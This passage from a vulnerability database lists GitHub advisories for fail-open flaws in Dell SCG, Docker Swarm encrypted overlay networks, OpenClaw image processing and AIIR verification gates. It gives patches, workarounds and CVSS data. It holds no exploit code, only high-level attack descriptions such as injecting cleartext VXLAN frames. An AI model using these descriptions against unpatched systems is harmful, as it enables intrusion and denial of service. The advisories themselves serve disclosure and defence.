"summary": "Traefik Kubernetes Ingress NGINX provider fails open when auth-secret resolution fails"
}
GHSA-55R5-QMGG-GM62
Vulnerability from github – Published: 2026-10-09 09:31 – Updated: 2026-10-09 09:31Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains a Not Failing Securely ('Failing Open') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.
{
"affected": [],
"aliases": [
"CVE-2026-78022"
],
"database_specific": {
"cwe_ids": [
"CWE-636"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-09T09:17:09Z",
"severity": "MODERATE"
},
"details": "Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains a Not Failing Securely (\u0027Failing Open\u0027) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.",
"id": "GHSA-55r5-qmgg-gm62",
"modified": "2026-10-09T09:31:06Z",
"published": "2026-10-09T09:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78022"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-ca/000503592/dsa-2026-385-security-update-for-dell-secure-connect-gateway-policy-manager-multiple-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6WRF-MXFJ-PF5P
Vulnerability from github – Published: 2023-04-04 21:11 – Updated: 2023-04-05 23:15Moby is an open source container framework developed by Docker Inc. that is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as moby/moby is commonly referred to as Docker.
Swarm Mode, which is compiled in and delivered by default in dockerd and is thus present in most major Moby downstreams, is a simple, built-in container orchestrator that is implemented through a combination of SwarmKit and supporting network code.
The overlay network driver is a core feature of Swarm Mode, providing isolated virtual LANs that allow communication between containers and services across the cluster. This driver is an implementation/user of VXLAN, which encapsulates link-layer (Ethernet) frames in UDP datagrams that tag the frame with a VXLAN Network ID (VNI) that identifies the originating overlay network. In addition, the overlay network driver supports an optional, off-by-default encrypted mode, which is especially useful when VXLAN packets traverses an untrusted network between nodes.
Encrypted overlay networks function by encapsulating the VXLAN datagrams through the use of the IPsec Encapsulating Security Payload protocol in Transport mode. By deploying IPSec encapsulation, encrypted overlay networks gain the additional properties of source authentication through cryptographic proof, data integrity through check-summing, and confidentiality through encryption.
When setting an endpoint up on an encrypted overlay network, Moby installs three iptables (Linux kernel firewall) rules that enforce both incoming and outgoing IPSec. These rules rely on the u32 iptables extension provided by the xt_u32 kernel module to directly filter on a VXLAN packet's VNI field, so that IPSec guarantees can be enforced on encrypted overlay networks without interfering with other overlay networks or other users of VXLAN.
The overlay driver dynamically and lazily defines the kernel configuration for the VXLAN network on each node as containers are attached and detached. Routes and encryption parameters are only defined for destination nodes that participate in the network. The iptables rules that prevent encrypted overlay networks from accepting unencrypted packets are not created until a peer is available with which to communicate.
Impact
Encrypted overlay networks silently accept cleartext VXLAN datagrams that are tagged with the VNI of an encrypted overlay network. As a result, it is possible to inject arbitrary Ethernet frames into the encrypted overlay network by encapsulating them in VXLAN datagrams. The implications of this can be quite dire, and GHSA-vwm3-crmr-xfxw should be referenced for a deeper exploration.
Patches
Patches are available in Moby releases 23.0.3, and 20.10.24. As Mirantis Container Runtime's 20.10 releases are numbered differently, users of that platform should update to 20.10.16.
Workarounds
- In multi-node clusters, deploy a global ‘pause’ container for each encrypted overlay network, on every node. For example, use the
registry.k8s.io/pauseimage and a--mode globalservice. - For a single-node cluster, do not use overlay networks of any sort. Bridge networks provide the same connectivity on a single node and have no multi-node features.
The Swarm ingress feature is implemented using an overlay network, but can be disabled by publishing ports in
hostmode instead ofingressmode (allowing the use of an external load balancer), and removing theingressnetwork. - If encrypted overlay networks are in exclusive use, block UDP port 4789 from traffic that has not been validated by IPSec. For example,
iptables -A INPUT -m udp —-dport 4789 -m policy --dir in --pol none -j DROP.
Background
- This issue was discovered while characterizing and mitigating CVE-2023-28840 and CVE-2023-28841.
Related
- CVE-2023-28841: Encrypted overlay network traffic may be unencrypted
- CVE-2023-28840: Encrypted overlay network may be unauthenticated
- GHSA-vwm3-crmr-xfxw: The Swarm VXLAN port may be exposed to attack due to ambiguous documentation
- GHSA-gvm4-2qqg-m333: Security issues in encrypted overlay networks (libnetwork)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "20.10.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "23.0.0"
},
{
"fixed": "23.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28842"
],
"database_specific": {
"cwe_ids": [
"CWE-420",
"CWE-636"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-04T21:11:24Z",
"nvd_published_at": "2023-04-04T22:15:00Z",
"severity": "MODERATE"
},
"details": "[Moby](https://mobyproject.org/) is an open source container framework developed by Docker Inc. that is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (`dockerd`), which is developed as [moby/moby](https://github.com/moby/moby) is commonly referred to as *Docker*.\n\nSwarm Mode, which is compiled in and delivered by default in `dockerd` and is thus present in most major Moby downstreams, is a simple, built-in container orchestrator that is implemented through a combination of [SwarmKit](https://github.com/moby/swarmkit) and supporting network code.\n\nThe `overlay` network driver is a core feature of Swarm Mode, providing isolated virtual LANs that allow communication between containers and services across the cluster. This driver is an implementation/user of [VXLAN](https://en.wikipedia.org/wiki/Virtual_Extensible_LAN), which encapsulates link-layer (Ethernet) frames in UDP datagrams that tag the frame with a VXLAN Network ID (VNI) that identifies the originating overlay network. In addition, the overlay network driver supports an optional, off-by-default encrypted mode, which is especially useful when VXLAN packets traverses an untrusted network between nodes.\n\nEncrypted overlay networks function by encapsulating the VXLAN datagrams through the use of the [IPsec Encapsulating Security Payload](https://en.wikipedia.org/wiki/IPsec#Encapsulating_Security_Payload) protocol in [Transport mode](https://en.wikipedia.org/wiki/IPsec#Transport_mode). By deploying IPSec encapsulation, encrypted overlay networks gain the additional properties of source authentication through cryptographic proof, data integrity through check-summing, and confidentiality through encryption.\n\nWhen setting an endpoint up on an encrypted overlay network, Moby installs three [iptables](https://www.netfilter.org/projects/iptables/index.html) (Linux kernel firewall) rules that enforce both incoming and outgoing IPSec. These rules rely on the `u32` iptables extension provided by the `xt_u32` kernel module to directly filter on a VXLAN packet\u0027s VNI field, so that IPSec guarantees can be enforced on encrypted overlay networks without interfering with other overlay networks or other users of VXLAN.\n\nThe `overlay` driver dynamically and lazily defines the kernel configuration for the VXLAN network on each node as containers are attached and detached. Routes and encryption parameters are only defined for destination nodes that participate in the network. The iptables rules that prevent encrypted overlay networks from accepting unencrypted packets are not created until a peer is available with which to communicate.\n\n## Impact\nEncrypted overlay networks silently accept cleartext VXLAN datagrams that are tagged with the VNI of an encrypted overlay network. As a result, it is possible to inject arbitrary Ethernet frames into the encrypted overlay network by encapsulating them in VXLAN datagrams. The implications of this can be quite dire, and [GHSA-vwm3-crmr-xfxw](https://github.com/moby/moby/security/advisories/GHSA-vwm3-crmr-xfxw) should be referenced for a deeper exploration.\n\n## Patches\nPatches are available in Moby releases 23.0.3, and 20.10.24. As Mirantis Container Runtime\u0027s 20.10 releases are numbered differently, users of that platform should update to 20.10.16.\n\n## Workarounds\n* In multi-node clusters, deploy a global \u2018pause\u2019 container for each encrypted overlay network, on every node. For example, use the `registry.k8s.io/pause` image and a `--mode global` service.\n* For a single-node cluster, do not use overlay networks of any sort. Bridge networks provide the same connectivity on a single node and have no multi-node features.\nThe Swarm ingress feature is implemented using an overlay network, but can be disabled by publishing ports in `host` mode instead of `ingress` mode (allowing the use of an external load balancer), and removing the `ingress` network.\n* If encrypted overlay networks are in exclusive use, block UDP port 4789 from traffic that has not been validated by IPSec. For example, `iptables -A INPUT -m udp \u2014-dport 4789 -m policy --dir in --pol none -j DROP`.\n\n## Background\n* This issue was discovered while characterizing and mitigating [CVE-2023-28840](https://github.com/moby/moby/security/advisories/GHSA-232p-vwff-86mp) and [CVE-2023-28841](https://github.com/moby/moby/security/advisories/GHSA-33pg-m6jh-5237).\n\n## Related\n* [CVE-2023-28841: Encrypted overlay network traffic may be unencrypted](https://github.com/moby/moby/security/advisories/GHSA-33pg-m6jh-5237)\n* [CVE-2023-28840: Encrypted overlay network may be unauthenticated](https://github.com/moby/moby/security/advisories/GHSA-232p-vwff-86mp)\n* [GHSA-vwm3-crmr-xfxw: The Swarm VXLAN port may be exposed to attack due to ambiguous documentation](https://github.com/moby/moby/security/advisories/GHSA-vwm3-crmr-xfxw)\n* [GHSA-gvm4-2qqg-m333: Security issues in encrypted overlay networks](https://github.com/moby/libnetwork/security/advisories/GHSA-gvm4-2qqg-m333) (libnetwork)",
"id": "GHSA-6wrf-mxfj-pf5p",
"modified": "2023-04-05T23:15:38Z",
"published": "2023-04-04T21:11:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moby/libnetwork/security/advisories/GHSA-gvm4-2qqg-m333"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-232p-vwff-86mp"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-33pg-m6jh-5237"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-6wrf-mxfj-pf5p"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-vwm3-crmr-xfxw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28842"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Docker Swarm encrypted overlay network with a single endpoint is unauthenticated"
}
GHSA-72FJ-C222-7598
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31OpenClaw before 2026.3.31 contains a decompression bomb vulnerability in image processing that fails to properly enforce pixel-limit guards on sips. Attackers can exploit this by uploading oversized images to cause denial of service through excessive memory consumption.
{
"affected": [],
"aliases": [
"CVE-2026-41334"
],
"database_specific": {
"cwe_ids": [
"CWE-636"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T22:16:39Z",
"severity": "HIGH"
},
"details": "OpenClaw before 2026.3.31 contains a decompression bomb vulnerability in image processing that fails to properly enforce pixel-limit guards on sips. Attackers can exploit this by uploading oversized images to cause denial of service through excessive memory consumption.",
"id": "GHSA-72fj-c222-7598",
"modified": "2026-04-24T00:31:51Z",
"published": "2026-04-24T00:31:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w85g-3h6x-4xh2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41334"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/0ed4f8a72bb140045962e97ab01c94c076b758a4"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-decompression-bomb-denial-of-service-via-image-pixel-limit-guard-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-73P9-6HRP-8QHR
Vulnerability from github – Published: 2026-08-28 19:20 – Updated: 2026-08-28 19:20Summary
Several of AIIR's verification and policy paths could return a success/"verified" result without actually enforcing the control they represent — they could fail open rather than fail closed. For a tool whose purpose is trustworthy verification, a consumer relying on these gates may have treated unverified or non-conforming input as verified.
Found during an internal adversarial hardening review of AIIR (not a third-party audit). All paths are fixed in 1.7.0.
Affected paths
- A
require_signingpolicy gate could be satisfied by a forgeable/empty field, so an unsigned or forged-bundle receipt could pass a "signing required" check without a valid signature. - A CI verification path could report
successregardless of the underlying verification result. - A release-verification gate could advertise policy limits it did not actually enforce.
- A signature-verification path could be silently skipped for certain input categories, exiting success without verifying.
Impact
A consumer relying on these gates (e.g. require_signing, release/policy verification, or the CI check) to block unsigned, forged, or non-conforming receipts could have received a false "verified"/"pass". Exploitation requires reliance on the affected gate; it does not forge valid signatures, nor does it compromise content-addressing or correctly-signed receipts.
Patches
Fixed in 1.7.0. Every affected path now fails closed, each with a regression test. Upgrade to aiir >= 1.7.0.
Workarounds
None for earlier versions other than upgrading. Full cryptographic Sigstore verification (pip install aiir[sign], --verify-signature with --signer-identity/--signer-issuer) provides defense in depth.
Scope note
This advisory covers code present in released versions (< 1.7.0). Separately, an unreleased agent-receipt feature had pre-release forgery findings fixed before it shipped — those were never in a released version and are out of scope.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "aiir"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-347",
"CWE-636"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T19:20:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nSeveral of AIIR\u0027s verification and policy paths could return a success/\"verified\" result without actually enforcing the control they represent \u2014 they could **fail open** rather than fail closed. For a tool whose purpose is trustworthy verification, a consumer relying on these gates may have treated unverified or non-conforming input as verified.\n\nFound during an internal adversarial hardening review of AIIR (not a third-party audit). All paths are fixed in **1.7.0**.\n\n### Affected paths\n- A `require_signing` policy gate could be satisfied by a forgeable/empty field, so an unsigned or forged-bundle receipt could pass a \"signing required\" check without a valid signature.\n- A CI verification path could report `success` regardless of the underlying verification result.\n- A release-verification gate could advertise policy limits it did not actually enforce.\n- A signature-verification path could be silently skipped for certain input categories, exiting success without verifying.\n\n### Impact\nA consumer relying on these gates (e.g. `require_signing`, release/policy verification, or the CI check) to block unsigned, forged, or non-conforming receipts could have received a false \"verified\"/\"pass\". Exploitation requires reliance on the affected gate; it does not forge valid signatures, nor does it compromise content-addressing or correctly-signed receipts.\n\n### Patches\nFixed in **1.7.0**. Every affected path now fails closed, each with a regression test. Upgrade to `aiir \u003e= 1.7.0`.\n\n### Workarounds\nNone for earlier versions other than upgrading. Full cryptographic Sigstore verification (`pip install aiir[sign]`, `--verify-signature` with `--signer-identity`/`--signer-issuer`) provides defense in depth.\n\n### Scope note\nThis advisory covers code present in released versions (`\u003c 1.7.0`). Separately, an unreleased agent-receipt feature had pre-release forgery findings fixed before it shipped \u2014 those were never in a released version and are out of scope.",
"id": "GHSA-73p9-6hrp-8qhr",
"modified": "2026-08-28T19:20:32Z",
"published": "2026-08-28T19:20:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/invariant-systems-ai/aiir/security/advisories/GHSA-73p9-6hrp-8qhr"
},
{
"type": "PACKAGE",
"url": "https://github.com/invariant-systems-ai/aiir"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "AIIR verification and policy gates could report success without enforcing the control (fail-open)"
}
Mitigation
Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.
No CAPEC attack patterns related to this CWE.